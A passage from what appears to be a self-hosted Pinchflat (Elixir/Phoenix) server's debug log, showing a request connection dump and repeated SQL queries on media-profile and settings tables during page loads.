params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.98"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.98"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 20:35:19.387 [info] GET /media_profiles/1/edit 20:35:19.387 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 20:35:19.387 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1261.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:35:19.387 [debug] QUERY OK source="settings" db=0.0ms idle=945.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:19.387 [debug] QUERY OK source="settings" db=0.0ms idle=262.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:19.387 [debug] QUERY OK source="settings" db=0.0ms idle=263.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:19.388 [info] Sent 200 in 1ms 20:35:21.623 [info] GET /media_profiles/new 20:35:21.623 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 20:35:21.623 [debug] QUERY OK source="settings" db=0.1ms idle=1181.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:21.624 [debug] QUERY OK source="settings" db=0.1ms idle=1182.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:21.624 [debug] QUERY OK source="settings" db=0.1ms idle=1182.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:21.624 [debug] QUERY OK source="settings" db=0.0ms idle=1182.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:21.625 [debug] QUERY OK source="settings" db=0.1ms idle=495.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:21.626 [info] Sent 200 in 2ms